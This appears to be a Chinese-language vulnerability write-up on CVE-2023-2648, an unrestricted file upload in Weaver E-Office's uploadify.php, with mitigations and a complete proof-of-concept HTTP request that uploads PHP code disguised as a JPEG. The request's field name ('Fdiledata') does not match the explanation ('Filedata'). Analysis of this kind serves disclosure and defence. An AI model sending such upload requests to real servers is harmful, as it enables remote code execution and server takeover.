前言
CVE-2023-2648 是一个在 Weaver E-Office 9.5 版本中发现的严重漏洞。此漏洞位于文件 /inc/jquery/uploadify/uploadify.php
中,通过操控 Filedata
参数,可以进行不受限制的文件上传。这一漏洞允许攻击者上传可能包含危险类型的文件,并在应用程序环境中执行。该漏洞可以通过远程发起攻击,且已被公开披露,构成了严重的安全风险。
此漏洞被分类为 CWE-434:不受限制的危险类型文件上传。根据 CVSS v3.1 评分,此漏洞的基本评分为 9.8,表明其严重性极高。这意味着它可以通过网络在无需用户交互或事先认证的情况下被利用,对保密性、完整性和可用性产生高影响 (NVD) (Tenable®) (MITRE CVE) (Aqua Vulnerability Database)。
对此漏洞的缓解措施包括:
- 实施严格的输入验证,确保仅允许指定的文件类型和内容。
- 使用白名单方法,根据已知的良好标准验证输入。
- 在沙盒环境中运行应用程序,以限制潜在利用的影响。
- 使用如 AppArmor 或 SELinux 等安全机制来强制执行文件操作的严格边界 (Aqua Vulnerability Database)。
有关更多详情,可以参考 MITRE CVE 网站 和 国家漏洞数据库。
POC 分析
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: xxxx8088
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php."
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
-
HTTP 请求方法:
POST
- 请求使用了
POST
方法,将数据上传到服务器。
- 请求使用了
-
请求路径:
/inc/jquery/uploadify/uploadify.php
- 目标路径是
uploadify.php
文件,该文件是存在漏洞的部分。
- 目标路径是
-
头部信息:
- Host: 目标服务器地址(以
xxxx8088
作为示例)。 - Content-Length: 请求体的长度。
- Content-Type: 设置为
multipart/form-data
,表示请求体中包含多个部分的数据。 - User-Agent: 请求发送的客户端信息。
- Accept、Accept-Encoding、Accept-Language: 指定客户端接受的响应格式和语言。
- Host: 目标服务器地址(以
-
请求体:
- Boundary:分隔符
----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
用于区分多个表单数据部分。 - Content-Disposition:表明这是一个表单数据项,
name="Filedata"
指定了表单字段名,filename="uploadify.php."
指定了上传的文件名。 - Content-Type:虽然文件名是
.php
,但类型被误导为image/jpeg
。 - 文件内容:PHP 代码
<?php phpinfo();?>
,这是一个简单的 PHP 脚本,用于显示 PHP 的配置信息。
- Boundary:分隔符
漏洞利用
- 文件上传:通过操控
Filedata
参数,将任意文件上传到服务器。由于文件类型检查不严格,攻击者可以上传包含恶意代码的 PHP 文件。 - 远程代码执行:上传的文件会在服务器上执行,导致远程代码执行。此处上传的
uploadify.php.
文件包含 PHP 代码<?php phpinfo();?>
,可在服务器上执行并显示 PHP 信息。
风险与防范
风险:
- 远程代码执行:攻击者可以上传并执行任意代码,完全控制服务器。
- 信息泄露:通过上传恶意脚本,攻击者可以获取服务器上的敏感信息。
防范措施:
- 严格验证文件类型:仅允许特定类型的文件上传,拒绝一切不符合要求的文件类型。
- 文件名检查:确保文件名没有危险的扩展名,例如
.php
。 - 使用白名单策略:仅接受已知良好的输入。
- 隔离上传目录:将上传的文件存储在一个仅允许有限权限访问的目录中,防止文件直接执行。
通过这些措施,可以有效减少此类漏洞被利用的风险。
漏洞复现
uploadify.php 上传成功,返回随机文件夹名称